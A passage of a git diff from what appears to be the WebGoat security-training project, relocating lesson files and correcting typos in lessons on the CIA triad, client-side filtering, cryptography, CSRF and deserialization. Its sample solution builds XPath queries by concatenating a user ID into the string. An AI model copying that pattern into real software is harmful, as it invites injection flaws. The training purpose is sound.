- \ No newline at end of file + diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/chromedevtools/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Clear.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Clear.jpg rename to src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Clear.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Ex.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Console_Ex.jpg rename to src/main/resources/lessons/chromedevtools/images/ChromeDev_Console_Ex.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements.jpg rename to src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements_CSS.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Elements_CSS.jpg rename to src/main/resources/lessons/chromedevtools/images/ChromeDev_Elements_CSS.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Network.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Network.jpg rename to src/main/resources/lessons/chromedevtools/images/ChromeDev_Network.jpg diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Sources.jpg b/src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg similarity index 100% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/images/ChromeDev_Sources.jpg rename to src/main/resources/lessons/chromedevtools/images/ChromeDev_Sources.jpg diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc similarity index 91% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc rename to src/main/resources/lessons/cia/documentation/CIA_availability.adoc index a0c885ccc..041c344d3 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc +++ b/src/main/resources/lessons/cia/documentation/CIA_availability.adoc @@ -19,6 +19,6 @@ Availability is "the property of being accessible and usable on demand by an aut ** network traffic control ** firewalls ** physical security of hardware and underlying infrastructure -*** protections against fire, water, and other elements +*** protection against fire, water, and other elements ** hardware maintenance ** redundancy diff --git a/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc new file mode 100644 index 000000000..9045d4d5e --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_confidentiality.adoc @@ -0,0 +1,25 @@ +== Confidentiality + +Confidentiality is "the property that information is not made available or disclosed to unauthorized individuals, entities, or processes." In other words, confidentiality requires that unauthorized users should not be able to access sensitive resources. Confidentiality must be balanced with availability; authorized persons must still access the resources they have been granted permissions for. + +Although confidentiality is similar to "privacy," these two words are not interchangeable. Instead, confidentiality is a component of privacy; confidentiality is implemented to protect resources from unauthorized entities. + +{nbsp} + + +=== Examples that compromise confidentiality: + +** a hacker gets access to the password database of a company +** a sensitive email is sent to the incorrect individual +** a hacker reads sensitive information by intercepting and eavesdropping on an information transfer + +{nbsp} + + +=== Examples of methods ensuring confidentiality + +** data encryption +** properly implemented authentication and access control +*** securely stored passwords +*** multi-factor authentication (MFA) +*** biometric verification +** minimizing the number of places/times the information appears +** physical security controls such as properly secured server rooms diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc similarity index 60% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc rename to src/main/resources/lessons/cia/documentation/CIA_integrity.adoc index e3978d242..cddf63cfc 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc +++ b/src/main/resources/lessons/cia/documentation/CIA_integrity.adoc @@ -1,6 +1,6 @@ == Integrity -Integrity is "the property of accuracy and completeness." In other words, integrity means maintaining the consistency, accuracy and trustworthiness of data over its entire life cycle. Data must not be changed during transit and unauthorized entities should not be able to alter the data. +Integrity is "the property of accuracy and completeness." In other words, integrity means maintaining the consistency, accuracy, and trustworthiness of data over its entire life cycle. Data must not change during transit, and unauthorized entities should not alter the data. {nbsp} + @@ -13,9 +13,9 @@ Integrity is "the property of accuracy and completeness." In other words, integr {nbsp} + -=== Examples of methods ensuring integrity +=== Examples of methods ensuring the integrity ** well functioning authentication methods and access control ** checking integrity with hash functions ** backups and redundancy -** auditing and logging \ No newline at end of file +** auditing and logging diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc similarity index 63% rename from webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc rename to src/main/resources/lessons/cia/documentation/CIA_intro.adoc index f987387fd..8804d73bd 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc +++ b/src/main/resources/lessons/cia/documentation/CIA_intro.adoc @@ -1,7 +1,7 @@ == The CIA Triad The CIA Triad (confidentiality, integrity, availability) is a model for information security. -The three elements of the triad are considered the most crucial information security components and should be guaranteed in any secure system. + -Serious consequences can result if even one these elements is breached. +The three elements of the triad are considered the most crucial information security components and should guarantee in any secure system. + +Serious consequences can result if even one of these elements is breached. -The CIA Triad was created to provide a baseline standard for evaluating and implementing security regardless of the underlying system and/or organization. \ No newline at end of file +The CIA Triad was created to provide a baseline standard for evaluating and implementing security regardless of the underlying system and/or organization. diff --git a/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc new file mode 100644 index 000000000..90be99409 --- /dev/null +++ b/src/main/resources/lessons/cia/documentation/CIA_quiz.adoc @@ -0,0 +1,3 @@ +Now it's time for a quiz! Answer the following question to check if you understood the topic. + +Today, most systems are protected by a firewall. A properly configured firewall can prevent malicious entities from accessing a system and helps protect an organization's resources. For this quiz, imagine a system that handles personal data but is not protected by a firewall: diff --git a/webgoat-lessons/cia/src/main/resources/html/CIA.html b/src/main/resources/lessons/cia/html/CIA.html similarity index 70% rename from webgoat-lessons/cia/src/main/resources/html/CIA.html rename to src/main/resources/lessons/cia/html/CIA.html index 0a73520be..219ce0e08 100644 --- a/webgoat-lessons/cia/src/main/resources/html/CIA.html +++ b/src/main/resources/lessons/cia/html/CIA.html @@ -3,19 +3,19 @@
-
+
-
+
-
+
-
+
@@ -23,7 +23,7 @@ -
+
@@ -40,4 +40,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/cia/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cia/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/cia/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/cia/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/cia/src/main/resources/js/questions_cia.json b/src/main/resources/lessons/cia/js/questions_cia.json similarity index 100% rename from webgoat-lessons/cia/src/main/resources/js/questions_cia.json rename to src/main/resources/lessons/cia/js/questions_cia.json diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFiltering-stage1.css b/src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFiltering-stage1.css rename to src/main/resources/lessons/clientsidefiltering/css/clientSideFiltering-stage1.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css b/src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css rename to src/main/resources/lessons/clientsidefiltering/css/clientSideFilteringFree.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc similarity index 77% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc rename to src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc index 7a37818bf..dfb254dad 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_assignment.adoc @@ -2,4 +2,4 @@ You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, except the CEO, Neville Bartholomew. Or at least you should not have access to the CEO's information. For this assignment, -examine the contents of the page to see what extra information you can find. \ No newline at end of file +examine the page's contents to see what extra information you can find. diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc rename to src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_final.adoc diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc similarity index 61% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc rename to src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc index 36615a13e..ed118faf9 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc +++ b/src/main/resources/lessons/clientsidefiltering/documentation/ClientSideFiltering_plan.adoc @@ -1,6 +1,6 @@ == Client side filtering -It is always a good practice to send to the client only information which they are supposed +It is always a good practice to send only information to the client they are supposed to have access to. In this lesson, too much information is being sent to the client, creating -a serious access control problem. For this exercise, your mission is exploit the extraneous information being returned -by the server to discover information to which you should not have access. \ No newline at end of file +a serious access control problem. For this exercise, your mission is to exploit the extraneous information returned +by the server to discover information to which you should not have access. diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html b/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html similarity index 95% rename from webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html rename to src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html index 8c664388a..18d965c66 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html +++ b/src/main/resources/lessons/clientsidefiltering/html/ClientSideFiltering.html @@ -2,10 +2,10 @@
-
+
-
+

@@ -74,7 +74,7 @@
-
+
diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/clientsidefiltering/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_header.jpg b/src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_header.jpg rename to src/main/resources/lessons/clientsidefiltering/images/lesson1_header.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_workspace.jpg b/src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/lesson1_workspace.jpg rename to src/main/resources/lessons/clientsidefiltering/images/lesson1_workspace.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg b/src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg rename to src/main/resources/lessons/clientsidefiltering/images/samsung-black.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg b/src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg rename to src/main/resources/lessons/clientsidefiltering/images/samsung-grey.jpg diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFiltering.js b/src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFiltering.js rename to src/main/resources/lessons/clientsidefiltering/js/clientSideFiltering.js diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js b/src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js rename to src/main/resources/lessons/clientsidefiltering/js/clientSideFilteringFree.js diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html similarity index 96% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html rename to src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html index 3a67cfb18..3dc36ab2d 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering.html +++ b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering.html @@ -51,7 +51,7 @@ even if it is hidden it is easy to find the sensitive date. In this stage you will add a filter to the XPath queries. In this file you will find following construct:

- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
sb.append("/Employees/Employee/UserID | ");
sb.append("/Employees/Employee/FirstName | ");
@@ -66,7 +66,7 @@ This string will be used for the XPath query. You have to guarantee that a mange can see employees which are working for him. To archive this you can use filters in XPath. Following code will exactly do this:

- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/UserID | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/FirstName | ");
@@ -81,4 +81,4 @@ Now only information is sent to your client you are authorized for. You can clic

- \ No newline at end of file + diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg b/src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg similarity index 100% rename from webgoat-lessons/client-side-filtering/src/main/resources/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg rename to src/main/resources/lessons/clientsidefiltering/lessonSolutions/en/ClientSideFiltering_files/clientside_firebug.jpg diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/Crypto_plan.adoc b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc similarity index 75% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/Crypto_plan.adoc rename to src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc index 78af04907..39ce0b5c0 100644 --- a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/Crypto_plan.adoc +++ b/src/main/resources/lessons/cryptography/documentation/Crypto_plan.adoc @@ -2,7 +2,13 @@ == Concept -This lesson explains different types of cryptography techniques that are commonly used in web applications. +ifeval::["{lang}" == "nl"] +Deze les behandelt verschillende cryptografische technieken die voorkomen in webapplicaties. +endif::[] + +ifeval::["{lang}" != "nl"] +This lesson explains different types of cryptography techniques that are commonly used in web applications. +endif::[] == Goals diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/defaults.adoc b/src/main/resources/lessons/cryptography/documentation/defaults.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/defaults.adoc rename to src/main/resources/lessons/cryptography/documentation/defaults.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc similarity index 88% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan.adoc rename to src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc index a67953041..a606f3853 100644 --- a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan.adoc +++ b/src/main/resources/lessons/cryptography/documentation/encoding_plan.adoc @@ -2,7 +2,7 @@ == Base64 Encoding -Encoding is not realy cryptography, but it is used a lot in all kinds of standards around cryptographic functions. Especially Base64 encoding. +Encoding is not really cryptography, but it is used a lot in all kinds of standards around cryptographic functions. Especially Base64 encoding. Base64 encoding is a technique used to transform all kinds of bytes to a specific range of bytes. This specific range is the ASCII readable bytes. This way you can transfer binary data such as secret or private keys more easily. You could even print these out or write them down. diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan2.adoc b/src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encoding_plan2.adoc rename to src/main/resources/lessons/cryptography/documentation/encoding_plan2.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encryption.adoc b/src/main/resources/lessons/cryptography/documentation/encryption.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encryption.adoc rename to src/main/resources/lessons/cryptography/documentation/encryption.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/hashing_plan.adoc b/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/hashing_plan.adoc rename to src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/keystores.adoc b/src/main/resources/lessons/cryptography/documentation/keystores.adoc similarity index 86% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/keystores.adoc rename to src/main/resources/lessons/cryptography/documentation/keystores.adoc index 2f057b36f..6ce4a79e1 100644 --- a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/keystores.adoc +++ b/src/main/resources/lessons/cryptography/documentation/keystores.adoc @@ -21,8 +21,8 @@ Some certificate authorities that are used to provide you with a server certific == Managed keystores in operating system, browser and other applications -When you visit a website and your browser says that the certificates are fine, it means that the certificate used for the website is issued by a trusted certificate authority. But this list of trusted certificate authorites is managed. Some CA's might be revoked or removed. These updates happen in the background when browser updates are installed. -Not only the browser maitains a list of trusted certificate authorities, the operation system does so as well. And the Java runtime also has its own list which is kept in the cacerts file. Updates of the OS and Java JRE keep this list up to date. In coporate environments, these are usually maintained by the company and also contain company root certificates. +When you visit a website and your browser says that the certificates are fine, it means that the certificate used for the website is issued by a trusted certificate authority. But this list of trusted certificate authorities is managed. Some CA's might be revoked or removed. These updates happen in the background when browser updates are installed. +Not only the browser maintains a list of trusted certificate authorities, the operation system does so as well. And the Java runtime also has its own list which is kept in the cacerts file. Updates of the OS and Java JRE keep this list up to date. In corporate environments, these are usually maintained by the company and also contain company root certificates. == Extra check for website certificates using DNS CAA records diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/postquantum.adoc b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc similarity index 62% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/postquantum.adoc rename to src/main/resources/lessons/cryptography/documentation/postquantum.adoc index 7294575cb..3b8666c30 100644 --- a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/postquantum.adoc +++ b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc @@ -2,6 +2,6 @@ == Post quantum cryptography -Quantum computers are here and getting more power in available qubits each year. Quantum computers are and will be capable of decrypting information that was encrypted with algorithms that were thought to be safe. For some years now, a lot of encrypted communicatation using quantum vulnerable cryptoraphy is being recorded. This information will be decrypted when the quantum computers are powerful enough. Even though the information may be old, it still could contain valuable information that can be misused. Besides the fact that some private information will be known to parties it was not intended for. +Quantum computers are here and getting more power in available qubits each year. Quantum computers are and will be capable of decrypting information that was encrypted with algorithms that were thought to be safe. For some years now, a lot of encrypted communication using quantum vulnerable cryptography is being recorded. This information will be decrypted when the quantum computers are powerful enough. Even though the information may be old, it still could contain valuable information that can be misused. Besides the fact that some private information will be known to parties it was not intended for. Mathematics has answers for the post quantum era. New cryptography is already available and should be used NOW in order to minimize threats. You can read more on this on Wikipedia: https://en.wikipedia.org/wiki/Post-quantum_cryptography[Post quatum on Wikipedia,window=_blank] diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/signing.adoc b/src/main/resources/lessons/cryptography/documentation/signing.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/signing.adoc rename to src/main/resources/lessons/cryptography/documentation/signing.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/html/Crypto.html b/src/main/resources/lessons/cryptography/html/Cryptography.html similarity index 82% rename from webgoat-lessons/crypto/src/main/resources/html/Crypto.html rename to src/main/resources/lessons/cryptography/html/Cryptography.html index bd06030e6..6e6f32767 100644 --- a/webgoat-lessons/crypto/src/main/resources/html/Crypto.html +++ b/src/main/resources/lessons/cryptography/html/Cryptography.html @@ -18,11 +18,11 @@ $(document).ready(initialise);
-
+
-
+
@@ -41,7 +41,7 @@ $(document).ready(initialise);
-
+
@@ -58,7 +58,7 @@ $(document).ready(initialise);
-
+
@@ -76,12 +76,12 @@ $(document).ready(initialise);
-
+
-
+
@@ -101,12 +101,12 @@ $(document).ready(initialise);
-
+
-
+
@@ -123,7 +123,7 @@ $(document).ready(initialise);
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/crypto/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/csrf/src/main/resources/css/reviews.css b/src/main/resources/lessons/csrf/css/reviews.css similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/css/reviews.css rename to src/main/resources/lessons/csrf/css/reviews.css diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Basic_Get-1.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Basic_Get-1.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc similarity index 96% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc index 10424aa89..0a2b95255 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc @@ -18,7 +18,7 @@ Remember the session cookie should always be defined with http-only flag. Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. -Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed +Some frameworks offer this implementation by default however researcher Alex Infuhr found out that this can be bypassed as well. You can read about: https://insert-script.blogspot.com/2018/05/adobe-reader-pdf-client-side-request.html[Adobe Reader PDF - Client Side Request Injection] diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_GET.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_GET.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Get_Flag.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Get_Flag.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Reviews.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Reviews.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_intro.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_intro.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html b/src/main/resources/lessons/csrf/html/CSRF.html similarity index 91% rename from webgoat-lessons/csrf/src/main/resources/html/CSRF.html rename to src/main/resources/lessons/csrf/html/CSRF.html index 169a2edb6..01fdb696c 100644 --- a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html +++ b/src/main/resources/lessons/csrf/html/CSRF.html @@ -3,15 +3,15 @@
-
+
-
+
-
+
-
+
@@ -54,7 +54,7 @@
-
+
@@ -121,15 +121,15 @@
-
+
-
+
-
+
-
+
@@ -251,10 +251,10 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/csrf/src/main/resources/images/login-csrf.png b/src/main/resources/lessons/csrf/images/login-csrf.png similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/images/login-csrf.png rename to src/main/resources/lessons/csrf/images/login-csrf.png diff --git a/webgoat-lessons/csrf/src/main/resources/js/csrf-review.js b/src/main/resources/lessons/csrf/js/csrf-review.js similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/js/csrf-review.js rename to src/main/resources/lessons/csrf/js/csrf-review.js diff --git a/webgoat-lessons/csrf/src/main/resources/js/feedback.js b/src/main/resources/lessons/csrf/js/feedback.js similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/js/feedback.js rename to src/main/resources/lessons/csrf/js/feedback.js diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc similarity index 60% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc index f5c5363d3..438961c11 100644 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc @@ -1,5 +1,5 @@ == What is a Gadgets Chain -It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets 